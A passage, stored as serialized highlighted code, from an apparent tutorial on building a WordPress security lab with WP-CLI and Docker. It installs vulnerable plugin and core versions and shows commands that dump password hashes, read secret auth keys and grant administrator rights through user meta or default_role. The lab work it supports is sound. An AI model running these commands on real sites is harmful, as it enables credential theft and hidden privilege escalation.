--admin_email=",[36,27539,27540],{"class":53},"\"admin@example.com\"",[36,27542,155],{"class":95},[36,27544,27545],{"class":38,"line":267},[36,27546,27547],{"class":95},"  --skip-email\n",[36,27549,27550],{"class":38,"line":273},[36,27551,61],{"emptyLinePlaceholder":60},[36,27553,27554,27556],{"class":38,"line":279},[36,27555,1226],{"class":95},[36,27557,27558],{"class":53}," \"Setting permalink structure...\"\n",[36,27560,27561,27564,27567],{"class":38,"line":285},[36,27562,27563],{"class":605},"$WP_CLI rewrite structure ",[36,27565,27566],{"class":53},"\"\u002F%postname%\u002F\"",[36,27568,27569],{"class":605}," --hard\n",[36,27571,27572],{"class":38,"line":291},[36,27573,61],{"emptyLinePlaceholder":60},[36,27575,27576,27578],{"class":38,"line":297},[36,27577,1226],{"class":95},[36,27579,27580],{"class":53}," \"Creating test users...\"\n",[36,27582,27583],{"class":38,"line":303},[36,27584,27585],{"class":42},"# Create one of each role for testing\n",[36,27587,27588,27591],{"class":38,"line":308},[36,27589,27590],{"class":605},"$WP_CLI user create subscriber subscriber@test.com ",[36,27592,27486],{"class":95},[36,27594,27595,27598,27600,27603],{"class":38,"line":314},[36,27596,27597],{"class":605},"  --role",[36,27599,1220],{"class":102},[36,27601,27602],{"class":53},"subscriber",[36,27604,155],{"class":49},[36,27606,27607,27610],{"class":38,"line":320},[36,27608,27609],{"class":95},"  --user_pass=subscriber_pass",[36,27611,155],{"class":95},[36,27613,27614,27617],{"class":38,"line":326},[36,27615,27616],{"class":95},"  --first_name=Test",[36,27618,155],{"class":95},[36,27620,27621],{"class":38,"line":331},[36,27622,27623],{"class":95},"  --last_name=Subscriber\n",[36,27625,27626],{"class":38,"line":337},[36,27627,61],{"emptyLinePlaceholder":60},[36,27629,27630,27633],{"class":38,"line":343},[36,27631,27632],{"class":605},"$WP_CLI user create contributor contributor@test.com ",[36,27634,27486],{"class":95},[36,27636,27637,27639,27641,27644],{"class":38,"line":349},[36,27638,27597],{"class":605},[36,27640,1220],{"class":102},[36,27642,27643],{"class":53},"contributor",[36,27645,155],{"class":49},[36,27647,27648],{"class":38,"line":355},[36,27649,27650],{"class":95},"  --user_pass=contributor_pass\n",[36,27652,27653],{"class":38,"line":6676},[36,27654,61],{"emptyLinePlaceholder":60},[36,27656,27657,27660],{"class":38,"line":6686},[36,27658,27659],{"class":605},"$WP_CLI user create author author@test.com ",[36,27661,27486],{"class":95},[36,27663,27664,27666,27668,27671],{"class":38,"line":6691},[36,27665,27597],{"class":605},[36,27667,1220],{"class":102},[36,27669,27670],{"class":53},"author",[36,27672,155],{"class":49},[36,27674,27675],{"class":38,"line":6697},[36,27676,27677],{"class":95},"  --user_pass=author_pass\n",[36,27679,27680],{"class":38,"line":6721},[36,27681,61],{"emptyLinePlaceholder":60},[36,27683,27684,27687],{"class":38,"line":19762},[36,27685,27686],{"class":605},"$WP_CLI user create editor editor@test.com ",[36,27688,27486],{"class":95},[36,27690,27691,27693,27695,27698],{"class":38,"line":19774},[36,27692,27597],{"class":605},[36,27694,1220],{"class":102},[36,27696,27697],{"class":53},"editor",[36,27699,155],{"class":49},[36,27701,27702],{"class":38,"line":23084},[36,27703,27704],{"class":95},"  --user_pass=editor_pass\n",[36,27706,27707],{"class":38,"line":23120},[36,27708,61],{"emptyLinePlaceholder":60},[36,27710,27711,27713],{"class":38,"line":23151},[36,27712,1226],{"class":95},[36,27714,27715],{"class":53}," \"Disabling file editing in admin (not needed for CLI)...\"\n",[36,27717,27718],{"class":38,"line":23163},[36,27719,27720],{"class":605},"$WP_CLI config set DISALLOW_FILE_EDIT false --raw\n",[36,27722,27723],{"class":38,"line":23168},[36,27724,61],{"emptyLinePlaceholder":60},[36,27726,27727,27729],{"class":38,"line":23173},[36,27728,1226],{"class":95},[36,27730,27731],{"class":53}," \"Setting up basic content...\"\n",[36,27733,27734,27737],{"class":38,"line":23178},[36,27735,27736],{"class":605},"$WP_CLI post create ",[36,27738,27486],{"class":95},[36,27740,27741,27744,27746,27749],{"class":38,"line":23185},[36,27742,27743],{"class":605},"  --post_title",[36,27745,1220],{"class":102},[36,27747,27748],{"class":53},"\"Test Post\"",[36,27750,155],{"class":49},[36,27752,27753,27756,27759],{"class":38,"line":23192},[36,27754,27755],{"class":95},"  --post_content=",[36,27757,27758],{"class":53},"\"Test content\"",[36,27760,155],{"class":95},[36,27762,27763],{"class":38,"line":23200},[36,27764,27765],{"class":95},"  --post_status=publish\n",[36,27767,27768],{"class":38,"line":26969},[36,27769,61],{"emptyLinePlaceholder":60},[36,27771,27772,27774],{"class":38,"line":26979},[36,27773,27736],{"class":605},[36,27775,27486],{"class":95},[36,27777,27778,27780,27782,27785],{"class":38,"line":26986},[36,27779,27743],{"class":605},[36,27781,1220],{"class":102},[36,27783,27784],{"class":53},"\"Private Post\"",[36,27786,155],{"class":49},[36,27788,27789,27791,27794],{"class":38,"line":26994},[36,27790,27755],{"class":95},[36,27792,27793],{"class":53},"\"Secret content\"",[36,27795,155],{"class":95},[36,27797,27798,27801],{"class":38,"line":27004},[36,27799,27800],{"class":95},"  --post_status=private",[36,27802,155],{"class":95},[36,27804,27805],{"class":38,"line":27011},[36,27806,27807],{"class":95},"  --post_author=1\n",[36,27809,27810],{"class":38,"line":27018},[36,27811,61],{"emptyLinePlaceholder":60},[36,27813,27814,27816],{"class":38,"line":27032},[36,27815,1226],{"class":95},[36,27817,27818],{"class":53}," \"List all users:\"\n",[36,27820,27821,27824,27826],{"class":38,"line":27050},[36,27822,27823],{"class":605},"$WP_CLI user list --fields",[36,27825,1220],{"class":102},[36,27827,27828],{"class":53},"ID,user_login,roles,user_email\n",[36,27830,27831],{"class":38,"line":27055},[36,27832,61],{"emptyLinePlaceholder":60},[36,27834,27835,27837,27840,27842],{"class":38,"line":27063},[36,27836,1226],{"class":95},[36,27838,27839],{"class":53}," \"Setup complete. Site at: ",[36,27841,27498],{"class":605},[36,27843,668],{"class":53},[684,27845,27847],{"id":27846},"installing-specific-plugin-versions-from-wordpress-svn","Installing Specific Plugin Versions from WordPress SVN",[14,27849,27850],{},"WordPress.org hosts all plugin versions in SVN. You can install any historical version:",[26,27852,27854],{"className":28,"code":27853,"language":30,"meta":31,"style":31},"# Plugin SVN URL format:\n# https:\u002F\u002Fplugins.svn.wordpress.org\u002F{plugin-slug}\u002Ftags\u002F{version}\u002F\n\n# Method 1: Direct SVN export\nsvn export https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcontact-form-7\u002Ftags\u002F5.7.5\u002F \\\n  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fcontact-form-7\n\n# Method 2: Download zip from wordpress.org\nwget \"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-7.5.7.5.zip\" \\\n  -O \u002Ftmp\u002Fcf7.zip\nunzip \u002Ftmp\u002Fcf7.zip -d \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F\n\n# Method 3: Via WP-CLI (latest version)\ndocker compose exec --user=www-data wordpress wp plugin install contact-form-7 --activate\n\n# Method 4: Via WP-CLI (specific version)\ndocker compose exec --user=www-data wordpress wp plugin install contact-form-7 \\\n  --version=5.7.5 \\\n  --activate\n\n# List available versions via SVN\nsvn list https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcontact-form-7\u002Ftags\u002F 2>\u002Fdev\u002Fnull | \\\n  sort -V | tail -20\n",[33,27855,27856,27861,27866,27870,27875,27888,27893,27897,27902,27912,27920,27933,27937,27942,27969,27973,27978,28000,28007,28012,28016,28021,28039],{"__ignoreMap":31},[36,27857,27858],{"class":38,"line":39},[36,27859,27860],{"class":42},"# Plugin SVN URL format:\n",[36,27862,27863],{"class":38,"line":46},[36,27864,27865],{"class":42},"# https:\u002F\u002Fplugins.svn.wordpress.org\u002F{plugin-slug}\u002Ftags\u002F{version}\u002F\n",[36,27867,27868],{"class":38,"line":57},[36,27869,61],{"emptyLinePlaceholder":60},[36,27871,27872],{"class":38,"line":64},[36,27873,27874],{"class":42},"# Method 1: Direct SVN export\n",[36,27876,27877,27880,27883,27886],{"class":38,"line":70},[36,27878,27879],{"class":49},"svn",[36,27881,27882],{"class":53}," export",[36,27884,27885],{"class":53}," https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcontact-form-7\u002Ftags\u002F5.7.5\u002F",[36,27887,155],{"class":95},[36,27889,27890],{"class":38,"line":78},[36,27891,27892],{"class":53},"  \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002Fcontact-form-7\n",[36,27894,27895],{"class":38,"line":83},[36,27896,61],{"emptyLinePlaceholder":60},[36,27898,27899],{"class":38,"line":89},[36,27900,27901],{"class":42},"# Method 2: Download zip from wordpress.org\n",[36,27903,27904,27907,27910],{"class":38,"line":115},[36,27905,27906],{"class":49},"wget",[36,27908,27909],{"class":53}," \"https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fcontact-form-7.5.7.5.zip\"",[36,27911,155],{"class":95},[36,27913,27914,27917],{"class":38,"line":133},[36,27915,27916],{"class":95},"  -O",[36,27918,27919],{"class":53}," \u002Ftmp\u002Fcf7.zip\n",[36,27921,27922,27925,27928,27930],{"class":38,"line":138},[36,27923,27924],{"class":49},"unzip",[36,27926,27927],{"class":53}," \u002Ftmp\u002Fcf7.zip",[36,27929,14427],{"class":95},[36,27931,27932],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fplugins\u002F\n",[36,27934,27935],{"class":38,"line":144},[36,27936,61],{"emptyLinePlaceholder":60},[36,27938,27939],{"class":38,"line":158},[36,27940,27941],{"class":42},"# Method 3: Via WP-CLI (latest version)\n",[36,27943,27944,27946,27948,27950,27953,27955,27957,27960,27963,27966],{"class":38,"line":255},[36,27945,27091],{"class":49},[36,27947,27094],{"class":53},[36,27949,27118],{"class":53},[36,27951,27952],{"class":95}," --user=www-data",[36,27954,27121],{"class":53},[36,27956,27124],{"class":53},[36,27958,27959],{"class":53}," plugin",[36,27961,27962],{"class":53}," install",[36,27964,27965],{"class":53}," contact-form-7",[36,27967,27968],{"class":95}," --activate\n",[36,27970,27971],{"class":38,"line":261},[36,27972,61],{"emptyLinePlaceholder":60},[36,27974,27975],{"class":38,"line":267},[36,27976,27977],{"class":42},"# Method 4: Via WP-CLI (specific version)\n",[36,27979,27980,27982,27984,27986,27988,27990,27992,27994,27996,27998],{"class":38,"line":273},[36,27981,27091],{"class":49},[36,27983,27094],{"class":53},[36,27985,27118],{"class":53},[36,27987,27952],{"class":95},[36,27989,27121],{"class":53},[36,27991,27124],{"class":53},[36,27993,27959],{"class":53},[36,27995,27962],{"class":53},[36,27997,27965],{"class":53},[36,27999,155],{"class":95},[36,28001,28002,28005],{"class":38,"line":279},[36,28003,28004],{"class":95},"  --version=5.7.5",[36,28006,155],{"class":95},[36,28008,28009],{"class":38,"line":285},[36,28010,28011],{"class":95},"  --activate\n",[36,28013,28014],{"class":38,"line":291},[36,28015,61],{"emptyLinePlaceholder":60},[36,28017,28018],{"class":38,"line":297},[36,28019,28020],{"class":42},"# List available versions via SVN\n",[36,28022,28023,28025,28028,28031,28033,28035,28037],{"class":38,"line":303},[36,28024,27879],{"class":49},[36,28026,28027],{"class":53}," list",[36,28029,28030],{"class":53}," https:\u002F\u002Fplugins.svn.wordpress.org\u002Fcontact-form-7\u002Ftags\u002F",[36,28032,22331],{"class":102},[36,28034,22334],{"class":53},[36,28036,103],{"class":102},[36,28038,155],{"class":95},[36,28040,28041,28044,28047,28049,28051],{"class":38,"line":308},[36,28042,28043],{"class":49},"  sort",[36,28045,28046],{"class":95}," -V",[36,28048,103],{"class":102},[36,28050,21477],{"class":49},[36,28052,7237],{"class":95},[684,28054,28056],{"id":28055},"installing-vulnerable-wordpress-core-versions","Installing Vulnerable WordPress Core Versions",[26,28058,28060],{"className":28,"code":28059,"language":30,"meta":31,"style":31},"# Download specific WordPress core version\nwget \"https:\u002F\u002Fwordpress.org\u002Fwordpress-6.2.zip\" -O \u002Ftmp\u002Fwp-6.2.zip\n\n# Or install via WP-CLI\ndocker run --rm \\\n  -v \u002Ftmp\u002Fwp-install:\u002Fvar\u002Fwww\u002Fhtml \\\n  wordpress:cli \\\n  wp core download --version=6.2 --allow-root\n\n# Install an old vulnerable version for research\ndocker run --rm \\\n  -v \u002Ftmp\u002Fwp-old:\u002Fvar\u002Fwww\u002Fhtml \\\n  wordpress:cli \\\n  wp core download --version=4.9.1 --allow-root\n",[33,28061,28062,28067,28080,28084,28089,28101,28110,28117,28134,28138,28143,28153,28162,28168],{"__ignoreMap":31},[36,28063,28064],{"class":38,"line":39},[36,28065,28066],{"class":42},"# Download specific WordPress core version\n",[36,28068,28069,28071,28074,28077],{"class":38,"line":46},[36,28070,27906],{"class":49},[36,28072,28073],{"class":53}," \"https:\u002F\u002Fwordpress.org\u002Fwordpress-6.2.zip\"",[36,28075,28076],{"class":95}," -O",[36,28078,28079],{"class":53}," \u002Ftmp\u002Fwp-6.2.zip\n",[36,28081,28082],{"class":38,"line":57},[36,28083,61],{"emptyLinePlaceholder":60},[36,28085,28086],{"class":38,"line":64},[36,28087,28088],{"class":42},"# Or install via WP-CLI\n",[36,28090,28091,28093,28096,28099],{"class":38,"line":70},[36,28092,27091],{"class":49},[36,28094,28095],{"class":53}," run",[36,28097,28098],{"class":95}," --rm",[36,28100,155],{"class":95},[36,28102,28103,28105,28108],{"class":38,"line":78},[36,28104,17308],{"class":95},[36,28106,28107],{"class":53}," \u002Ftmp\u002Fwp-install:\u002Fvar\u002Fwww\u002Fhtml",[36,28109,155],{"class":95},[36,28111,28112,28115],{"class":38,"line":83},[36,28113,28114],{"class":53},"  wordpress:cli",[36,28116,155],{"class":95},[36,28118,28119,28122,28125,28128,28131],{"class":38,"line":89},[36,28120,28121],{"class":53},"  wp",[36,28123,28124],{"class":53}," core",[36,28126,28127],{"class":53}," download",[36,28129,28130],{"class":95}," --version=6.2",[36,28132,28133],{"class":95}," --allow-root\n",[36,28135,28136],{"class":38,"line":115},[36,28137,61],{"emptyLinePlaceholder":60},[36,28139,28140],{"class":38,"line":133},[36,28141,28142],{"class":42},"# Install an old vulnerable version for research\n",[36,28144,28145,28147,28149,28151],{"class":38,"line":138},[36,28146,27091],{"class":49},[36,28148,28095],{"class":53},[36,28150,28098],{"class":95},[36,28152,155],{"class":95},[36,28154,28155,28157,28160],{"class":38,"line":144},[36,28156,17308],{"class":95},[36,28158,28159],{"class":53}," \u002Ftmp\u002Fwp-old:\u002Fvar\u002Fwww\u002Fhtml",[36,28161,155],{"class":95},[36,28163,28164,28166],{"class":38,"line":158},[36,28165,28114],{"class":53},[36,28167,155],{"class":95},[36,28169,28170,28172,28174,28176,28179],{"class":38,"line":255},[36,28171,28121],{"class":53},[36,28173,28124],{"class":53},[36,28175,28127],{"class":53},[36,28177,28178],{"class":95}," --version=4.9.1",[36,28180,28133],{"class":95},[18,28182,28184],{"id":28183},"wp-cli-security-research-commands","WP-CLI Security Research Commands",[684,28186,28188],{"id":28187},"user-and-authentication-management","User and Authentication Management",[26,28190,28192],{"className":28,"code":28191,"language":30,"meta":31,"style":31},"WP=\"wp --allow-root --path=\u002Fvar\u002Fwww\u002Fhtml\"\n\n# List all users with roles\n$WP user list --fields=ID,user_login,user_email,roles --format=table\n\n# Get all user capabilities\n$WP user list --format=ids | xargs -I{} sh -c \\\n  \"echo 'User {}: '; $WP user get {} --field=roles\"\n\n# Reset user password\n$WP user update admin --user_pass=NewPassword123!\n\n# Create user with specific capabilities\n$WP user create testadmin testadmin@test.com --role=administrator --user_pass=pass\n\n# List active sessions for a user\n$WP user session list admin\n\n# Destroy all sessions (force re-login)\n$WP user session destroy admin --all\n\n# Get user meta (check wp_capabilities)\n$WP user meta get 1 wp_capabilities\n\n# Update capabilities directly\n$WP user meta update 1 wp_capabilities 'a:1:{s:13:\"administrator\";b:1;}'\n",[33,28193,28194,28204,28208,28213,28231,28235,28240,28260,28271,28275,28280,28290,28294,28299,28316,28320,28325,28330,28334,28339,28344,28348,28353,28358,28362,28367],{"__ignoreMap":31},[36,28195,28196,28199,28201],{"class":38,"line":39},[36,28197,28198],{"class":605},"WP",[36,28200,1220],{"class":102},[36,28202,28203],{"class":53},"\"wp --allow-root --path=\u002Fvar\u002Fwww\u002Fhtml\"\n",[36,28205,28206],{"class":38,"line":46},[36,28207,61],{"emptyLinePlaceholder":60},[36,28209,28210],{"class":38,"line":57},[36,28211,28212],{"class":42},"# List all users with roles\n",[36,28214,28215,28218,28220,28223,28226,28228],{"class":38,"line":64},[36,28216,28217],{"class":605},"$WP user list --fields",[36,28219,1220],{"class":102},[36,28221,28222],{"class":53},"ID,user_login,user_email,roles",[36,28224,28225],{"class":605}," --format",[36,28227,1220],{"class":102},[36,28229,28230],{"class":53},"table\n",[36,28232,28233],{"class":38,"line":70},[36,28234,61],{"emptyLinePlaceholder":60},[36,28236,28237],{"class":38,"line":78},[36,28238,28239],{"class":42},"# Get all user capabilities\n",[36,28241,28242,28245,28247,28250,28252,28254,28257],{"class":38,"line":83},[36,28243,28244],{"class":605},"$WP user list --format",[36,28246,1220],{"class":102},[36,28248,28249],{"class":53},"ids",[36,28251,103],{"class":102},[36,28253,4621],{"class":49},[36,28255,28256],{"class":95}," -I",[36,28258,28259],{"class":605},"{} sh -c \\\n",[36,28261,28262,28265,28268],{"class":38,"line":89},[36,28263,28264],{"class":49},"  \"echo 'User {}: '; ",[36,28266,28267],{"class":605},"$WP",[36,28269,28270],{"class":49}," user get {} --field=roles\"\n",[36,28272,28273],{"class":38,"line":115},[36,28274,61],{"emptyLinePlaceholder":60},[36,28276,28277],{"class":38,"line":133},[36,28278,28279],{"class":42},"# Reset user password\n",[36,28281,28282,28285,28287],{"class":38,"line":138},[36,28283,28284],{"class":605},"$WP user update admin --user_pass",[36,28286,1220],{"class":102},[36,28288,28289],{"class":53},"NewPassword123!\n",[36,28291,28292],{"class":38,"line":144},[36,28293,61],{"emptyLinePlaceholder":60},[36,28295,28296],{"class":38,"line":158},[36,28297,28298],{"class":42},"# Create user with specific capabilities\n",[36,28300,28301,28304,28306,28308,28311,28313],{"class":38,"line":255},[36,28302,28303],{"class":605},"$WP user create testadmin testadmin@test.com --role",[36,28305,1220],{"class":102},[36,28307,13839],{"class":53},[36,28309,28310],{"class":605}," --user_pass",[36,28312,1220],{"class":102},[36,28314,28315],{"class":53},"pass\n",[36,28317,28318],{"class":38,"line":261},[36,28319,61],{"emptyLinePlaceholder":60},[36,28321,28322],{"class":38,"line":267},[36,28323,28324],{"class":42},"# List active sessions for a user\n",[36,28326,28327],{"class":38,"line":273},[36,28328,28329],{"class":605},"$WP user session list admin\n",[36,28331,28332],{"class":38,"line":279},[36,28333,61],{"emptyLinePlaceholder":60},[36,28335,28336],{"class":38,"line":285},[36,28337,28338],{"class":42},"# Destroy all sessions (force re-login)\n",[36,28340,28341],{"class":38,"line":291},[36,28342,28343],{"class":605},"$WP user session destroy admin --all\n",[36,28345,28346],{"class":38,"line":297},[36,28347,61],{"emptyLinePlaceholder":60},[36,28349,28350],{"class":38,"line":303},[36,28351,28352],{"class":42},"# Get user meta (check wp_capabilities)\n",[36,28354,28355],{"class":38,"line":308},[36,28356,28357],{"class":605},"$WP user meta get 1 wp_capabilities\n",[36,28359,28360],{"class":38,"line":314},[36,28361,61],{"emptyLinePlaceholder":60},[36,28363,28364],{"class":38,"line":320},[36,28365,28366],{"class":42},"# Update capabilities directly\n",[36,28368,28369,28372],{"class":38,"line":326},[36,28370,28371],{"class":605},"$WP user meta update 1 wp_capabilities ",[36,28373,28374],{"class":53},"'a:1:{s:13:\"administrator\";b:1;}'\n",[684,28376,28378],{"id":28377},"plugin-and-theme-management","Plugin and Theme Management",[26,28380,28382],{"className":28,"code":28381,"language":30,"meta":31,"style":31},"# List all plugins with status\n$WP plugin list --format=table\n\n# Install plugin from zip file (for local testing with modified code)\n$WP plugin install \u002Ftmp\u002Fvulnerable-plugin.zip --activate\n\n# Activate specific plugin version\n$WP plugin activate vulnerable-plugin\n\n# Get plugin version info\n$WP plugin get contact-form-7 --field=version\n\n# Deactivate all plugins (for isolation testing)\n$WP plugin deactivate --all\n\n# List plugin files\n$WP plugin get contact-form-7 --format=json | python3 -m json.tool\n",[33,28383,28384,28389,28398,28402,28407,28412,28416,28421,28426,28430,28435,28445,28449,28454,28459,28463,28468],{"__ignoreMap":31},[36,28385,28386],{"class":38,"line":39},[36,28387,28388],{"class":42},"# List all plugins with status\n",[36,28390,28391,28394,28396],{"class":38,"line":46},[36,28392,28393],{"class":605},"$WP plugin list --format",[36,28395,1220],{"class":102},[36,28397,28230],{"class":53},[36,28399,28400],{"class":38,"line":57},[36,28401,61],{"emptyLinePlaceholder":60},[36,28403,28404],{"class":38,"line":64},[36,28405,28406],{"class":42},"# Install plugin from zip file (for local testing with modified code)\n",[36,28408,28409],{"class":38,"line":70},[36,28410,28411],{"class":605},"$WP plugin install \u002Ftmp\u002Fvulnerable-plugin.zip --activate\n",[36,28413,28414],{"class":38,"line":78},[36,28415,61],{"emptyLinePlaceholder":60},[36,28417,28418],{"class":38,"line":83},[36,28419,28420],{"class":42},"# Activate specific plugin version\n",[36,28422,28423],{"class":38,"line":89},[36,28424,28425],{"class":605},"$WP plugin activate vulnerable-plugin\n",[36,28427,28428],{"class":38,"line":115},[36,28429,61],{"emptyLinePlaceholder":60},[36,28431,28432],{"class":38,"line":133},[36,28433,28434],{"class":42},"# Get plugin version info\n",[36,28436,28437,28440,28442],{"class":38,"line":138},[36,28438,28439],{"class":605},"$WP plugin get contact-form-7 --field",[36,28441,1220],{"class":102},[36,28443,28444],{"class":53},"version\n",[36,28446,28447],{"class":38,"line":144},[36,28448,61],{"emptyLinePlaceholder":60},[36,28450,28451],{"class":38,"line":158},[36,28452,28453],{"class":42},"# Deactivate all plugins (for isolation testing)\n",[36,28455,28456],{"class":38,"line":255},[36,28457,28458],{"class":605},"$WP plugin deactivate --all\n",[36,28460,28461],{"class":38,"line":261},[36,28462,61],{"emptyLinePlaceholder":60},[36,28464,28465],{"class":38,"line":267},[36,28466,28467],{"class":42},"# List plugin files\n",[36,28469,28470,28473,28475,28477,28479,28481,28483],{"class":38,"line":273},[36,28471,28472],{"class":605},"$WP plugin get contact-form-7 --format",[36,28474,1220],{"class":102},[36,28476,23899],{"class":53},[36,28478,103],{"class":102},[36,28480,106],{"class":49},[36,28482,109],{"class":95},[36,28484,112],{"class":53},[684,28486,28488],{"id":28487},"database-operations","Database Operations",[26,28490,28492],{"className":28,"code":28491,"language":30,"meta":31,"style":31},"# Export entire database\n$WP db export \u002Ftmp\u002Fwp-backup.sql\n\n# Import database\n$WP db import \u002Ftmp\u002Fwp-backup.sql\n\n# Run raw SQL query\n$WP db query \"SELECT user_login, user_pass FROM wp_users;\"\n\n# Search and replace in database (for URL changes)\n$WP search-replace 'http:\u002F\u002Flocalhost:8080' 'http:\u002F\u002Fnewdomain.com' --dry-run\n$WP search-replace 'http:\u002F\u002Flocalhost:8080' 'http:\u002F\u002Fnewdomain.com'\n\n# Get specific option value\n$WP option get siteurl\n$WP option get auth_key\n$WP option get active_plugins\n\n# Update option\n$WP option update default_role administrator  # Make all new registrations admin!\n$WP option update users_can_register 1         # Enable registration\n\n# List all options (useful for understanding site configuration)\n$WP option list --format=table | head -50\n\n# Get WordPress secret keys\n$WP config get auth_key\n$WP config get secure_auth_key\n$WP config get logged_in_key\n",[33,28493,28494,28499,28510,28514,28519,28524,28528,28533,28541,28545,28550,28564,28573,28577,28582,28587,28592,28597,28601,28606,28614,28633,28637,28642,28658,28662,28667,28672,28677],{"__ignoreMap":31},[36,28495,28496],{"class":38,"line":39},[36,28497,28498],{"class":42},"# Export entire database\n",[36,28500,28501,28504,28507],{"class":38,"line":46},[36,28502,28503],{"class":605},"$WP db ",[36,28505,28506],{"class":102},"export",[36,28508,28509],{"class":605}," \u002Ftmp\u002Fwp-backup.sql\n",[36,28511,28512],{"class":38,"line":57},[36,28513,61],{"emptyLinePlaceholder":60},[36,28515,28516],{"class":38,"line":64},[36,28517,28518],{"class":42},"# Import database\n",[36,28520,28521],{"class":38,"line":70},[36,28522,28523],{"class":605},"$WP db import \u002Ftmp\u002Fwp-backup.sql\n",[36,28525,28526],{"class":38,"line":78},[36,28527,61],{"emptyLinePlaceholder":60},[36,28529,28530],{"class":38,"line":83},[36,28531,28532],{"class":42},"# Run raw SQL query\n",[36,28534,28535,28538],{"class":38,"line":89},[36,28536,28537],{"class":605},"$WP db query ",[36,28539,28540],{"class":53},"\"SELECT user_login, user_pass FROM wp_users;\"\n",[36,28542,28543],{"class":38,"line":115},[36,28544,61],{"emptyLinePlaceholder":60},[36,28546,28547],{"class":38,"line":133},[36,28548,28549],{"class":42},"# Search and replace in database (for URL changes)\n",[36,28551,28552,28555,28558,28561],{"class":38,"line":138},[36,28553,28554],{"class":605},"$WP search-replace ",[36,28556,28557],{"class":53},"'http:\u002F\u002Flocalhost:8080'",[36,28559,28560],{"class":53}," 'http:\u002F\u002Fnewdomain.com'",[36,28562,28563],{"class":605}," --dry-run\n",[36,28565,28566,28568,28570],{"class":38,"line":144},[36,28567,28554],{"class":605},[36,28569,28557],{"class":53},[36,28571,28572],{"class":53}," 'http:\u002F\u002Fnewdomain.com'\n",[36,28574,28575],{"class":38,"line":158},[36,28576,61],{"emptyLinePlaceholder":60},[36,28578,28579],{"class":38,"line":255},[36,28580,28581],{"class":42},"# Get specific option value\n",[36,28583,28584],{"class":38,"line":261},[36,28585,28586],{"class":605},"$WP option get siteurl\n",[36,28588,28589],{"class":38,"line":267},[36,28590,28591],{"class":605},"$WP option get auth_key\n",[36,28593,28594],{"class":38,"line":273},[36,28595,28596],{"class":605},"$WP option get active_plugins\n",[36,28598,28599],{"class":38,"line":279},[36,28600,61],{"emptyLinePlaceholder":60},[36,28602,28603],{"class":38,"line":285},[36,28604,28605],{"class":42},"# Update option\n",[36,28607,28608,28611],{"class":38,"line":291},[36,28609,28610],{"class":605},"$WP option update default_role administrator  ",[36,28612,28613],{"class":42},"# Make all new registrations admin!\n",[36,28615,28616,28619,28622,28625,28628,28630],{"class":38,"line":297},[36,28617,28618],{"class":605},"$WP ",[36,28620,28621],{"class":53},"option",[36,28623,28624],{"class":53}," update",[36,28626,28627],{"class":53}," users_can_register",[36,28629,1340],{"class":95},[36,28631,28632],{"class":42},"         # Enable registration\n",[36,28634,28635],{"class":38,"line":303},[36,28636,61],{"emptyLinePlaceholder":60},[36,28638,28639],{"class":38,"line":308},[36,28640,28641],{"class":42},"# List all options (useful for understanding site configuration)\n",[36,28643,28644,28647,28649,28651,28653,28655],{"class":38,"line":314},[36,28645,28646],{"class":605},"$WP option list --format",[36,28648,1220],{"class":102},[36,28650,4440],{"class":53},[36,28652,103],{"class":102},[36,28654,5296],{"class":49},[36,28656,28657],{"class":95}," -50\n",[36,28659,28660],{"class":38,"line":320},[36,28661,61],{"emptyLinePlaceholder":60},[36,28663,28664],{"class":38,"line":326},[36,28665,28666],{"class":42},"# Get WordPress secret keys\n",[36,28668,28669],{"class":38,"line":331},[36,28670,28671],{"class":605},"$WP config get auth_key\n",[36,28673,28674],{"class":38,"line":337},[36,28675,28676],{"class":605},"$WP config get secure_auth_key\n",[36,28678,28679],{"class":38,"line":343},[36,28680,28681],{"class":605},"$WP config get logged_in_key\n",[684,28683,28685],{"id":28684},"log-analysis","Log Analysis",[26,28687,28689],{"className":28,"code":28688,"language":30,"meta":31,"style":31},"# Watch debug log in real time\ndocker compose exec wordpress tail -f \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log\n\n# Extract SQL queries from log (SAVEQUERIES must be true)\n$WP eval 'global $wpdb; var_dump($wpdb->queries);'\n\n# Check recent queries\n$WP eval '\nglobal $wpdb;\n$wpdb->show_errors();\n$queries = $wpdb->queries;\nif ($queries) {\n    usort($queries, function($a,$b){ return $b[1] \u003C=> $a[1]; });\n    foreach(array_slice($queries, 0, 10) as $q) {\n        echo round($q[1]*1000, 2) . \"ms: \" . substr($q[0], 0, 100) . \"\\n\";\n    }\n}\n'\n",[33,28690,28691,28696,28714,28718,28723,28731,28735,28740,28747,28751,28756,28761,28766,28771,28776,28781,28785,28789],{"__ignoreMap":31},[36,28692,28693],{"class":38,"line":39},[36,28694,28695],{"class":42},"# Watch debug log in real time\n",[36,28697,28698,28700,28702,28704,28706,28708,28711],{"class":38,"line":46},[36,28699,27091],{"class":49},[36,28701,27094],{"class":53},[36,28703,27118],{"class":53},[36,28705,27121],{"class":53},[36,28707,21477],{"class":53},[36,28709,28710],{"class":95}," -f",[36,28712,28713],{"class":53}," \u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log\n",[36,28715,28716],{"class":38,"line":57},[36,28717,61],{"emptyLinePlaceholder":60},[36,28719,28720],{"class":38,"line":64},[36,28721,28722],{"class":42},"# Extract SQL queries from log (SAVEQUERIES must be true)\n",[36,28724,28725,28728],{"class":38,"line":70},[36,28726,28727],{"class":605},"$WP eval ",[36,28729,28730],{"class":53},"'global $wpdb; var_dump($wpdb->queries);'\n",[36,28732,28733],{"class":38,"line":78},[36,28734,61],{"emptyLinePlaceholder":60},[36,28736,28737],{"class":38,"line":83},[36,28738,28739],{"class":42},"# Check recent queries\n",[36,28741,28742,28744],{"class":38,"line":89},[36,28743,28727],{"class":605},[36,28745,28746],{"class":53},"'\n",[36,28748,28749],{"class":38,"line":115},[36,28750,9660],{"class":53},[36,28752,28753],{"class":38,"line":133},[36,28754,28755],{"class":53},"$wpdb->show_errors();\n",[36,28757,28758],{"class":38,"line":138},[36,28759,28760],{"class":53},"$queries = 